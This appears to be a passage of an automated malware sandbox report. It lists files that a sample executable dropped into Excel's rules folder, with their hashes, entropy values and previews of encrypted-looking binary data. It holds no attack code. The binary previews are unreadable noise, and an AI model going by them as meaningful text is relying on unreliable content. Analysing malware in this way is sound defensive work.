MD5:	E1BAC023FCDD7D336818DD705ACB7BF0
SHA1:	3E0770969FF594A8E2B415A632B74DE07FC23780
SHA-256:	08234E71E1714F456F4C5A98F94A05500CD02D07EF696520FC0AC5A2AED1EA2D
SHA-512:	8FB97F8ED9B29512CA3CB616684B1BB9EC08B63D30DFB2F4D71A74523C41939C08191D1DD70B64E241DC8F1B72BAFC33DD956D2C7140A4966050132A0966571B
Malicious:	false
Preview:	<?xml.]x..w.9...$..P.M.G.T..\.t.5..D.b...\...U.Il\..z~..G.,..F.$,...;...X.+.......6.1.../..E..............Dcj...g...x.......8'\..rB..e../.H...J..J,c.\|.....m..u..Ji.\|......L.(....9...&.R...".C...]g.w....c<y....)..<...$..1..B9...Q.l.T...z.}..`..=.7.......up.\.Y.......\.-T#.l/2......]_..AhD./.(..#.........x..<Q.......n>.V......k.........M..F..@.A...d.-m.......v..o...$.].....v.<.......gA>..9D.u...6....v/.:.m.\....y......V..5V....9...o..........r..\..P.ne..3WZkJ.Q...=i.....39..V.....y.\|......$......^..G.N..\T....[Y.....zj@.......#.).24....r%.E...P....a.&..nq.Q.c..I....i..O/5.W...].L..m.t.....8E..4....9qF.a./.@..r..S..K..6..W.....e3..6{.`......A'.m1...D.^.I>..a..B.........w^. m%A...a...U..p3.HK...~.....A..J...`.h....Ob......^...N.2..wh..+j...X4.........=e.../N@5......sXO..d(z.3/.....,........t_../S.;...}..c..T."..K...h-...T...........^Z..b.2l;.W2.2r^u.3.`<...>... .1i."h....[.Y..n+.{.p....n.CV....q@..?...P.............>./q.N..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63078v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	708
Entropy (8bit):	7.725474789578822
Encrypted:	false
SSDEEP:	12:yirqAnGb4EhLdU+v2YwH1bV36N767ohX4hab2cHL5D0Dy2XnFE1+cii9a:yiWt4Ehh7vAH9V8G7Ouk2mODy2JbD
MD5:	23B7F18B25F97329F1AD346A815BE37C
SHA1:	8EFD1B58BB832DB4FCA2F6E2D65E21117A98E082
SHA-256:	BE35D51F8006FC705FBA93E4043A39CE03E9C6A0A026FE851F04F7A494010508
SHA-512:	43804EC062A5BB36DB73F636071CD722644CBE344428CD02014D373E3B45D7CBB6182189D8C016C9A9FA5FE7DCE14433D92F8F6314C773086AA20D52BDF09932
Malicious:	false
Preview:	<?xml...M..,...AZ.7\|s%.f.....B..Og\|9.....!......H.D..}..Yd..~.S.l0W.....E..e..:..@.`.;\i..:...6.W..Y.I.S..l.Z.:.[{.n..uZ.F;0...F.'.^{sVZ.].p4..)......_..\.-..S..z4q.$....k0..3...C6#.nNI...... ...o._......@..z..fw..[.[.u.p....a..c.},G.?.... ^..P-.3..9XJ.K...'..p#\|.a.yv..U.R.`J....6.Q.j...).N..l,..$..-.vH.(......S..6.w.....RX..eY.!.{r...C....qR..p.kS..\..yh.x;1Z...&.l.D....cd.>F/.S...x)nO.!.4........5ki...\|.....m.q.>=..w....g..v.8.hZ.xi.O...e..z...4G......`t..'.vg...i&.M.T;#}..R.8'.f.a.Y....".....MT.....oX..5.+.d..M.."v.P...A.F...R.....q...Nc.........o!...1.<..4wq..r.!........:*3...!...C..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65136v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1132
Entropy (8bit):	7.802606671266042
Encrypted:	false
SSDEEP:	24:Pg06Eil9TVJrXfWVMSoyQjXAP8i5ke7B/RCFYKwCbD:Pg0ilBXfWVMSoyQjXA5RfuYKwQD
MD5:	9F9C2C36EECF16F1080A810DFCDFC745
SHA1:	0D49A1A49A531C162F235C908ABE26E89DB72082
SHA-256:	ACC8728C7B57B94926755C2C76425E5938E85AF0BC3FB544D14324E6138102EA
SHA-512:	E60B2DEF7D41C2CD3A2471372F4AF12676DA21439E0AE2711F5057FC4CEC5F448D98319A4DB4EDCB923C4707DF53AAE437E2C4921E45EB4D6589EBF7E1B8F1FF
Malicious:	false
Preview:	<?xml..!..".lg.+.k.........=o.U.k#V.. .R..RX>U...\aky.....g.($..rm.;......@.k..}...%.Y...m.a.q....F....Dy..%.AD(....T".39...P...v.!.........:h.B3..>.D.....b...H..'.f....MGCjJyP..e....Ip.y.@..fW-.W.T.+.pK.!..$I..%......x=.A.W[).;.$.....o.;. ...EY.f.S.~\i....\kE...(.....eKv.....{.P...g...}.O....n.<.::Z...7^~..1.m.3V.;G.}w...)\|.O.I......,d...........a6e.A&..s......f.L.&,.q.9.DR..A@,#.........ZG.S..4....?n>...c.y#.kh..z.d...CQ@.N'-..9..'...."Ff.1.$.x..J...D...<<5+U....%%.-.AnUR..\|....p5..BX.uD$....R%.d.f&$..[1~...[9...Q.....J....9w..P(.).eF)..o..^A~.i....w....x..E.x......lk......9..0.`.\..1.\}.....O..bo.J.>Rg......s....Jd...X~..4..,...m...W...3..y.rM.c......,..qK....VJQ..,..G.#...g.-......=..H!E:..Wc-.my...F"#.v._...=Q.-.!.bBG..^..xz.R...V......x..*&R.z.am...O=]s.......K..$m]9 .gW.....]......O.U.....Q..5...2._....fm..)L.~..\:S./+...y.g.....D_...H..cKAUc.,.."N.S.Mf..NX?t..y..F.X\|.S.x....d..r..W.....>F57.......@..R..M.,>z,k..Swv.....!xk.=..,....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65137v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.71692167945854
Encrypted:	false
SSDEEP:	12:1fHcZ9WdbWqt+zwu1uFvg0IgVgtIjGObVoRjGgzefyHKQLtgJIXhRzTLsEXojo14:FHcZR8uQF40jVoe7bszkyHzLtgJ2FTL0
MD5:	B1995C5FF1E9CDE87587FBB2E9A63B0F
SHA1:	6D99DFB79ED29D156B5FB425D7913F339225B712
SHA-256:	AFE2B61F6E22D93BB5EA9DD00227B4F8E7F3964B3E34B912FA2E0CA4EC633F6D
SHA-512:	A8786161B00DE5B1D447A334C1D5B2A88B46CB3A25638F2922BBC4D836BDC0B56405472064B85C6FD1A5A755E8288C84047A1D7AA8DF6E47359E6B45A94D229F
Malicious:	false
Preview:	<?xml...t.\w!.F.....Q..G....j..;".7.sb..%J..2.U..^..$.#k.\j.p...y..O.x...7....w.`LF...z......e.."O..bS.......S..^.4B0..O}...T..K..I........5s.B[.....c*.=R....Z..~.Y ...-aA.....BNu,.....o".0...9.)..].v+.V..8/....K...+........P.M<.VA......v..`.. .Ms...u.^E..ee..r/G.\|..:k.I6.j.....}...qi.....T..w,.}K~.$.QIA/^.\.I.;.:.B.f...m(.#..S.n@-cV.g.f^"(.].C......Fh..dvb..sO.%.......[.{...3...j.&.f.....3>.e...&.#...a.....:e...Au.....Nw.RAfC`....3.......E.q..u....+T%.......`j..l..<.s:..t.....Lg.......)<.........M4}..}....u..M...$m.#Y...=.ko......j...eS~.=Nm..Hr.g.....I..f.C.~v.=..C1Zu...9..A..{..".i....l$.y..6q.q.GQ......R.w....n........@e.\Y..S..3KSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65138v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	7.811593192931373
Encrypted:	false
SSDEEP:	24:8XtA28hLWw6qikKeByieuntY/YbqIuqD8GCEv2bD:41SLWwH9BN6Y+Iz8G5kD
MD5:	90A7D087DCA7F794688B7A78F77DBAC5
SHA1:	68C158A2B245877286EBE6EC051A1FE865F6AB24
SHA-256:	36EB7A7DBFA8E362EA2B991C51C4BF4FCF685BF9A265AE969F90FF0ED153A717
SHA-512:	8F83189D88EFF3B6380142185AEE629EB0507DD232D11717987858BB39D1676EE04AE68B97882126C139D09856B261BFE0E4AE699494CE82AB9A531494F40804
Malicious:	false
Preview:	<?xml...=..[ah.1.(.dW........y..-..:....".6...G.}.).... .. 3l.-]..._T6X...g>....ml.S..<N.p..O......'.m.......).\|....k.h.~...\A.UU...sc.#N.-...l.....5..&....W...y_.k.{...K.X2.<<....R..j.9....eB.>N.v..2g..'...Gy..w...........@...qy.....o].A......iR.4.>..>8.....D...T..J..Z.u...qq..k..LZy<.e\'..u.H\Q.....pp.<.DL.?..eL..i~..._....kw..U.T..;.......X..c~7...R..ZL.1..A.?.=.&....Ez.qA.>(...#\|;..u..0....Q!^I.o......d.U....zw....8.E8..'.....B...]...B}.&..4...>.oL.../X......_b..(...L.:m..FFd......p.Zt.D...^UM(.Uz5...R:.../mZ..L#..o..>9H....u[gau\......a7......u..W...L.,...~......w...S.>7..N.\|zQ.K.V.X...... .@.n+..@.}.+j.....rX!G.\.A..{....x.......Jmi.?.X.Ek.v.S./q.......1..\l.d....-.....Z'..k.\......X.u....sRKD..h>...j...G...23..Uh.i....`2..+\|...\o.-..6..F..?~\.p.!..o.).'3..t.....?.y....p.........t~.`...$.....r..pM....N%cq>....}.-M.I.3E....eJl.Vp..Djz.Xy.].....9am.....;Q.+._....r.;......\|V...P...8........^6..jS.s..r.z .....U.`..l~`.....N..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65139v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	8095
Entropy (8bit):	7.973656102370435
Encrypted:	false
SSDEEP:	192:/yI8bKFwFxDqJubVQcUinK7wzcqOdPQoRe4CByrwxavg7MQy:S5x2JubVQcUQdlOdPZw4CBynvCy
MD5:	1AD2C3B39DD8FDF9D1DE038EEFF118A9
SHA1:	106B7D509C2CC796F62A531BD65BF434FAEF39BA
SHA-256:	6A3E9560F12FDDE09D1A1824F535C6D05D730804E6109E22947AE99ED071D832
SHA-512:	7E55948D4E85636DC008D907B23D7AE0D129AE5D90822E62C39287D8070680444B3C60B4F2F56ADF5F3BDC3B42FA6DF42CCC0A77728E5C47BB20A89DB4A9C91A
Malicious:	false
Preview:	<?xml.q...kKi.(......\|].2>..lS.cn.r.......~........A..DJ....AL..U.gJ_...B...._..3....O.-W.,.p....C/..{.\!.. g=5......Q.Lg.P..C..?......z...6..G....Rl0../L...Q.:J......~..'..%.....j.5.(....ZUdr.bT.h....[..}.,.Xg.......q.p..b^/.oDx...85.wu_N+W.P..G.-...#".B.4...4Z.K.N.....A.K...t..,..a 9.{Rw.......<%(.'.k....@.4.....v.u.c..A....Zy.+5...`..+.o...1(......].<;U.c&..._.. ...'.dl.._..].$..#.}.Gor.7Q...Ne......n. g!..d`$.n.l..zZ.2...5....G.....&...M'..^.<4.+..}^...~+A..nL!.PD..\.......2...J"N..\|.........m.."..Y..$.w.H........(....%. `.^H...k...X..3&D.d...=z...q&_y..1.Z.........(.&2....A......).W=...Lz.0../...`..g.L>....\"'k..Tr....=..).A.&.s..>P..7,..{...L..t2}T...!..bNNP.f....77l.E..>Z...1..O.....o..eB.=.`,.,.>H)&......{j]..........4.....5F@c8.6`.T..xi..V](..<.a;b.Tj.Bk.(=a..Y..V.M-.n..PL.v..:......)....I.)..S...=.t..40J#..8..T......=.....Z........\.. .".*....7....l...R..i..r.>.7Y.5..L]..Uy.DU2M.....e.W.T.n.e.&x.ecOA.;....:.=...Y.$...+\|.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68000v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1047
Entropy (8bit):	7.819765897062597
Encrypted:	false
SSDEEP:	24:QMUsnuNJJTgmzYvcDg+V5JkPFgLKQsnTRDbD:QMUJjgmzc/4QtFTRXD
MD5:	C65E17D37ABB3B319ABAABF19EB7437F
SHA1:	293404AB2B107EB97972B5AB0ABFBBA3BA49ED72
SHA-256:	D337440C52E9A17D074B4AE96E8B7721A1A6E2BF5E08325F08BC86076A21E8E1
SHA-512:	0A9FBB6E0A4A0E4F942B0F7A0A09A971BA10507F10504C69A5A6356DABAD6C8CAEC0FC3D1D13BE5E532C68F0749C77ACB21B0FC34D0AAA5995642B767AA4D8A6
Malicious:	false
Preview:	<?xmlm........=p..i.T"?..x.@..........0. ....SToF.....@...y#....J.:...E.6....5....}....uk.....V-..........\.&..SSX'z6W...lw...E...\|b.Q6..".y..._...\|...D..m...T[;.<.&@...Y....l.+X..;...p...Za3..~....d.a.5..@5L.....#5.).....&Q..Bhd._..PS.j....z..p....Y....#6%fl...u&q.e..~_...[.B%..,....D.....N/..g[....3....I....'..>9...H.'..o.2..c...'..1..q.c...+k.r....%.s;.v.vp......Y.mu...].).U../..9..o)..[........A\o..4........L..0@......S"x-y.xi.o)...e..&...7.....#^.f..F......T...+j.[.G.......h...W.&L ...h.9t'cI}B.....:...T.K..^....>._.....&..7C.V .vm..G..c.7.=.v".].a.F.{.+.E..R..X.;:..r%..P....d.&.C^6.;.Eu...8...M.9.W..[.....7..a..C....L.9.h..B.....[.P.O`b.'..Z..jH..~.Z...W.N..Af.\{Z..jgiTF...0..BIc......{.(.~...?.............r....).m;(rr.....t.8.~...E{.^..F"H....z..PK..7.r..<J`i......g..w.?-....j..K[.JQD.f.."...mR.....+..cy.G.P.;.*...Z.x\|.4X....0d.(:..Th..8YV.:..`..\|.#.nhu.........x..-.4.C...{.O.O__....X{).3SLibyJ8nZP43K8X6Ycor9IxvOlsKHVT

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68001v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1003
Entropy (8bit):	7.7841900311051795
Encrypted:	false
SSDEEP:	24:Mq8nwZFtAgneWvjQI1/zynbTfBK7yKfIKD4v2yIAGzUribD:MqrftAYDv43fo7yaROXIACcwD
MD5:	CFB064C0FB270EF923ED7C2B10B4ADCB
SHA1:	ACBC8A0DAEED8B2897053D7CD22B6CAF8D52B791
SHA-256:	55E75E5D1757BBBE4595B488CF46B2E8D63D6A93850D5C79C83803D79D414F1D
SHA-512:	4119FEB2079B96CEBB5376E9299142FEFA255C774C0A791DE6A710F81A369D798566DE301F89EB0556B0B4EF142A0627F755978FDFD28FD8D043F3B98EA7F094
Malicious:	false
Preview:	<?xml.......G...Ja........T\|'.+...?....4...=..=.z..=F..N....h..:P..x..Z.\E....C.."..c..0.o.....1f~K4...5<2..T.._........B..O;X`=..gW9......R..6\|.'eq~^..I....S...;1[..?...L.<.f....H........R.w..7........2...S...Io.....O.....@Z.a.mhl..O.I.....&_.?.>9..O.zd.\.E._..[.....aG[... b..(3....\|....f.e.....LE.)..ow..P...vZqW.\:....t.;?'O-3..\|..(.....K.+]SW..=:.9A..2lR...j.+$..tN..G....RW.twK\i.....C.s..9.AJ...."%F...y......a..S...~..`lg./)\|i<,....(gl..3..(....o./.~Wv..,..1;..[-ff... m...D....2$<DdO..5.D...q...8u.Q!..fr..qG....@.X.n.z'..4b!.........}....:hb... ..\..a?..q...,.f./..X..4.+D.M^H8...wB.U.f...b..q.t.......R..... .J.&..e..:.dbo.;..V.....H.....}...}x....cOPsxz....[...)...`.=......J.m....tq..!.D....x..x.Uy.q-..1......u..h....[..G..D.....;.W.I..F]....R.bw.M...\.H../v..3..uy.k.S;.. ...0m. @..4.....w.-.-..DP......3....K..L.Q.TZ.7. ...h...Abw..x.......Z{....9..L....[[1..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68002v11.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2980
Entropy (8bit):	7.936289515363987
Encrypted:	false
SSDEEP:	48:E31ToqptGGh4JMWq0PzUuuSOtMHlWicMYOf/f0Dmv+1NntYLnXqHyHh+Dm3+AYdT:Mnv4eWqqoFSOtsOMYuf0Cv+Foa4F3Gl
MD5:	8185296E440168C0703CBF84A62B35FD
SHA1:	D6A9D97794713002001C98F292FE46C663951B37
SHA-256:	93B9A5609A2069CD83DBFDA741C5ACFB5D80888B39BC4443BCE6B8D60D6A11C0
SHA-512:	5A7096BA52677A8083E4F9DFB613CA644E6855D4E4CBA5D5DF97EF00C60D47D2BBB0DBB16D1773543989566CB8D9F2A8CE1FE2D7F700E4730E07F55602795A39
Malicious:	false
Preview:	<?xml.%...Qk..'.$!.b....]......z\|....G.8;p,..JmV....-...N.t...Vu.."H..a...t27..z......FqD.f.......m=x.<.$...$.%_.G.....)..Rh..j..........).`.../.uL.....+..>.....fY.V...~q..2......<..$.Ssn....&5._.C..}FV.W0..R.Y./.<8.-.9...M}.C.d...0K........j..{....^;u-..P.i(Y.>EK..$Z>X..7^.M._..,.@5.h...J..R.t.0\|H...BR<&....1#E....b[r..W......p...iC...._.Y....Z...*........p.JO.,D.V.a=..Av..<.}Z....b.<.h..........U..^.......m....$+.HK.<..W.<...f....rY..2`.........X\|..'.....Zz\|..:..?a_S[v\.e....Q.F...y...36..m..`& }.u8..^...~T.~#hJ46I6)9..o...<.U......^S.l..?..2.VB.P.k..XRU...L...Q.a2X..\_M.%..O.........c..H..`.~.@......c.#...v.1..mpo.:C@.>...._.DoT......bD.OI...A.H.U..Nr9........{p...)+...FU..\.CFx..5>....[....L1H..-l....Xf.PA[...X..{...[...z...].l(...8-U=V.~j..?.1v_..&^.=....3\c....[...(\|yeQR.. "C"...{{..=.. ...{.3qnc..^Ic.J..pf..lr....[.x..~q.RpP........d5......6..$...U'._....mI.e.<Bi....~...\|p..U1:.8.=...9..X.8.3I^..+.{6Mp.d...U.._. .&.y. ..H..\..(,...Y.9m....j

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68003v12.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2672
Entropy (8bit):	7.940567362296114
Encrypted:	false
SSDEEP:	48:mtpwe7eezhS/a8IDl2CEc/dSAF6QtKpSWPH6hhfF71aZ3jJ3D:mtpwe7fNSuWmdL6KS6hhfN1a3jJz
MD5:	5CEBA535300CFBD34DAD26A7A87EF65E
SHA1:	2DCDB1DFBFC2CC463E8D5630F1031344F5069236
SHA-256:	4D55CF5A74AC85F7163909EFD232B5F6BDC72BCAFD95282F0D13B31ED7F1C949
SHA-512:	B9ECB0898A93D9B43509398A55B270F4C64A0ADDA6AAE60A73F309862800B88AC63429D57705A00FA94F9A0CF82C5C7A914D6AC29B9A66DD225965B94D31D675
Malicious:	false
Preview:	<?xml..@:5@.O...[.....R.B..i..;#O 3..CZ.`-...G>.3.9.b./P=.4C........\|...]5.aZ.FK......I.et..Q.f.=.zHF~Ca...1...LXd..-.r..Z..F.v.vsJ.....9.......;.,J1D..@l....$.$.^m.H..l.[E.k...'..Dlb..}.........y..&.R...6.d.?o/...J.<U.\.N. y........h\......13...Rxv.. .....j..(n?`..6.{4.<.j2.y..V.>......l.........@.fr,.@..U]..Z...j.p.t.g....a.3c..,`.1.^..........p.Zv >..S..E..G...>.)..u@a8..C=j.....<s/......r..m...F.......j.T.~...0..o..k}b..h.......R..\"K..a.%..20\|.....MQ..N.$..,Qy.4.\.A.r..Y._u.....(...H.!)j....GAXHyzN...U....Q.{F..;MP.,..:G..P..U..XF..LNS...`...... ...&.....y.;]F...D..%..g(`).q!T."...j.L...?...~.#.iy$...R.o..A.A...+.f..K..=R...4.._..T.....-.-...TP..G..~.^l.).`.\......1!P.,...,......k.T..O.....)..8....~....zb.)..o...Y..eU.w!q-Q...k..]...z=..QJo.....V._e>.B.F..1....{.\..Z..,..@...~d....Z..d....I3.....O....3[E.ql+.L..1Y.."...Y.I..]..($7i..I3...0.}.M...6.....,..!...m&.i.c;.....@i..k..eK.$L....M..Q.^.B.S4{G...1..].u.O!...3l.V.).!.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68004v16.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2762
Entropy (8bit):	7.925812582413429
Encrypted:	false
SSDEEP:	48:ZqbcX/tshpCjKd3x+XtmHmOGfsmbF8E+SDvR7wcq7INMj6DD:SusWjQ3xutmGHfpB5RvdPTKj6P
MD5:	DD7DB7EDBC4A500904DAEFB0DBCE69E9
SHA1:	AEF62944D0CB026ED3C7F1F8B9F8886AD5C0B12F
SHA-256:	26656C4184F2A86325591BD0A6FA0DEDF32B9797C4EF96B220D8A0F712183979
SHA-512:	2B0CBB375358CD1D0ED7B0AC2CF573501EC4F47C1615D97F8FD534242D7F65794570DBFE431FE41CA31D2A0887EF257B572F9E91A568FF7F8EFB6853884A8BDE
Malicious:	false
Preview:	<?xmll.;h..:..}...(..47.N.5.S[....Z.AF.v.e..E.%..n.M.....o..).=M.z...3..!..........#.J.....=9W..3..l...g..p]p..'.y.r..\|.x......9..az....Ea`B..q..........!.S...dx....s.x..8...._$.Fp.......+...Q...r.#....%../VX%\..cy.`e1.`FM..G.'..<..+.S.q9qdU.H.(......%V2[\|6..s.....%6..=2K.F........&.vX....Yh....m.:/......WM.2}C....X..@.yfq..8h42.r.N....V..3-.b.4..(..;...b7Iv..k..q.A......G....$......M[..o{$#...=ii..i...T.N.E!22B.Y.....83..i0>0-....W2].74(gwR_.'$.P.l.]6.....b~`.~.....!..Z.+..Qt..6Q.AE:d.@.p.nL Y......e.;-.=c..T..:.A[....-pK.<.[c...\|/.D.yd.9b.h...!...._e+...N..5........3.."KD..._I.. ...o.%.w....@.B....@...u[p......z...".-...) ..Oy.....=rO.~...+....Y.._.g.,x....vwLy.4g..T..K.../.\|"...C..=...\.oy..p]..5.........'0.....vu..V...5..jV........m\.KG.\|....i...6WX.-../..k.(..z...\.....L..!. .V.VXl.3...c....y.).C.<s=..C.A....Q.....= ".1..Pv8.=%...+@jh.gH....qUR.c..Es.qV..E..]..vk....pmv.....]..D...j%...0.v..\|lDJD...n..o.p .....TZ..W}m.. .F........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68006v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	7.755776386185358
Encrypted:	false
SSDEEP:	24:zwbiV2XhlWxsAwdj4+Ti4KfDZBvrp0mn7uv+bD:D2XhleiphK7ZBvN1y8D
MD5:	8BFADEA4A2C88AFC552A9297D9702F22
SHA1:	B1F4934A7A1D8ABB34AA208FE0E3637DA72A7C16
SHA-256:	6B9F54B05A2BAE1FECB7C5D59A8767A60557D2A35E094D52360BF61BC0ECC9B2
SHA-512:	8AB179402666651AE2E66F29760C47761DC4B995BC8999388134BDF8EC94B4CE80A07E9ED69D0D11E23D766B5BCDD42BBA792383E954735E9AD85FDD055F26D8
Malicious:	false
Preview:	<?xml...V5.r...I...Q.F..w.....=//A........yEI.b.....}..Tfx....!...[.....e[a]...0...uQ>s.{......b..d.x.s.......3..;.F.W......bB(......_....S.....Mp..}..6...R....Z'...b.x.}...0......\...-..kA.0Z.{......RY..}GJ..4....>...q...k:E.-...\|..........4.-_^I..I...x.OUS*......-Is..:....I.+/....../.+..%m.....t.../7..."B....Q..7k..N.!v......IW>..5..q.......(...@...o(.z$...b..M...w.~.)z.Ah.i..T.a..wg..U...~.....a..P#.`.#.\|....Uzo1F\..(......2.(qU).....j./..)...I'...:...%0.LT......~.G...v....!7.b.#B.k4?.@....5.....4..m,/D.G.]@h9..rT.b.p.-Y.Z..5`.Z...sX.Z..'0.=.c....%.k.....I...x.n.N..H.........!k...p"M)..^..s._.S.....}ad.....o....O.#.#.&k.RvI....y..8.J..B(..P.l`.OA\|.(..&.w\|c.b..#."..PG..2i.v.z.O...L.{+J....su!9..u].qA..O...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68008v4.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1010
Entropy (8bit):	7.78900201111248
Encrypted:	false
SSDEEP:	24:dPpGoAtYgJecqvgPkCqb5FIIATBZWnWcUbD:NYhtYjFoMCq5AvkWc+D
MD5:	17233A1B8F2C3593E8538C0D96D27A51
SHA1:	80E0C1FF435D772D44CC76688DC8B7FC75CA8330
SHA-256:	482BBA13E20D6AA200262FC395B1E22BDC97F115858B39B3AB78FDAAB03DF12C
SHA-512:	841C721165C01CA825D8DCB4F1A977D33F274B7E4EE7FB8DE05517613A7778B124F4C10D887EE0A1D960F41D6E926BAE1426AA6827405A901CDDC0E70E042C9B
Malicious:	false
Preview:	<?xml,...^9Lw".9.a.^Z.l.h........,@ 1..R..g.CVG2>..).!..0.Do....?f...gG.60.r."U.@.H....."..+....g..u.h.38......%...G@!....''<..n.....c.`d.-...p...H.....'L.C@.~.....(.....b/.g...(..:y.V.0..D...x....`..\.f.l.sy..7....\..b.........:....%..ve..GGf.....L.A.W.p.!........._..`.!j...z.......La+.S.C..J/,..M.X.._f..9Mt3.Fa..a.{.I..<. ....9...&.I@GeZ...k^...E._.+?..+W....R.'..@..~5v.>O. J5.`.l.ff'Gy.L0.n..%."W.o8#.[..E......kf.....$5V....E.......f.....&V.=.`.x.......9.Ara.n.V...A...".}`.0.h....q...nh.PL....t.o3B3.A....y.>'......>.....>...Z..:.=...-...HMt=U..qW......s..).yRY..D....i.Y...\|.aQ......g0..>...e....Pu&ae..m..z.X...Q...{y....2.A..F..Oc.M.?].Da..u.)...e.\|.6....[L..S...y.... .)../.}4....7~.6.4..7.P.D..V:..x}.C...Xv.w\}.,...P....&\|m.+dJa..;..u.".S.fd.PI..aR...R..:.K.l........3..m.l ...X?q=..9.2Z..=.c.w....3[.._.P}...y:5:6Z.B\|...i.z.....&.#.}.Fwj.Q.!@..*:.1....U.....:\>....k>....?..RzSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68009v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1380
Entropy (8bit):	7.849701761429708
Encrypted:	false
SSDEEP:	24:wvaRXZ/d8QOVjbIhLbYt3Lz93MWIyq4a1KVYnbw1vqEyiMJ6O/ZuTSDbD:wvaRXZl8QWIhLMxl64MOYbK8DcSXD
MD5:	7207710C1BFBA578BE7AC7A0C9C921CC
SHA1:	0C4E33A83254E1A1DC782989CD2649B901EFC144
SHA-256:	F95740E2DC936B3E2106A7FBD6856A98ADD9FD82A339C88DE72D0E78C60CFDC9
SHA-512:	393078B4052575215221AF0187056F18912A31BDBDF4800BDB924F2DB995E8AC1209346E5C69B9ABBB845850EA299B4E2396F35284F7B5A55DF735224DB966E8
Malicious:	false
Preview:	<?xml J,R.OrO.Cj....:..}.8....D.}C..U...d.......r...Q.....i$..\<.s.<....^.g\.)..........6'r(u..}..J.U....I<.....<.dx....:.=MO..[-{......R...G....;(M.E7.z.....R...7n.G.Cj...V ...h..-+X[/..rK.....W.\.....:c.^"'w{......f..{.2.k..x...}..hL0C`^...Oe..-p.......u.OF..}....}....rmK.5ym!.b.N7.G...pw?.l.0.:..T.k.j6.@6.......-&.rJ..g..jJ..,..?.....5$P..J.0....AD...}.C...!\|...\..+..U..@K.....).....u..Y-ER...0..+....~..8."P........:W.._g..b..%ro:.D0.Z.j..&.C....>7O.1..,..T:.._...z.z....;.....M..#.zn.!.9.#...'..y1UD........M..m..%d..7......6....{../>.h....0#.!B..s..`.P........[.7.5_^.G.u...]....).v...l.i...2v..RT....(........y.kA..!.l...<I.u........[.............@?..M(..o.2...;.',...[.sM.8mq.>........C..3;<j.#...+.O.W......r..........2&.H+...w...V.y.Y[..S.....u4.....hr.........{..".Z.T...&w$u...>.....{-z.Pb4QcG..[.<sC...x.7M.......y.....C.^.i.....j.c7.ho.....KRt...<v\|.........X...5..s..\}s!..1..O...I..w`k.~,.p.8..D.....j.Zj.8........}A..?H.W....I.Y..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68010v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1614
Entropy (8bit):	7.881712177820471
Encrypted:	false
SSDEEP:	48:wC5v/hVCKyEZTBKHHFV2UytkS31fzh1nvz9D:wC5v/hpFeVvsth17F
MD5:	8443EBFDB1E98D877C4D98FD26159A41
SHA1:	8C29640D4E7C3427AFDB83B20830D922C69268B3
SHA-256:	C626EA17CB528D5FF82097F3330E22FB11849092672594773060CD108C37CA6B
SHA-512:	696AFD781F1782813B4EC336482C7892854C3D2F4224F73B3D59B1184F8462C9690C72D4FD28D2EEAE2070789CF04353B5B2488E4CD751E392BB7BBED4DEC26E
Malicious:	false
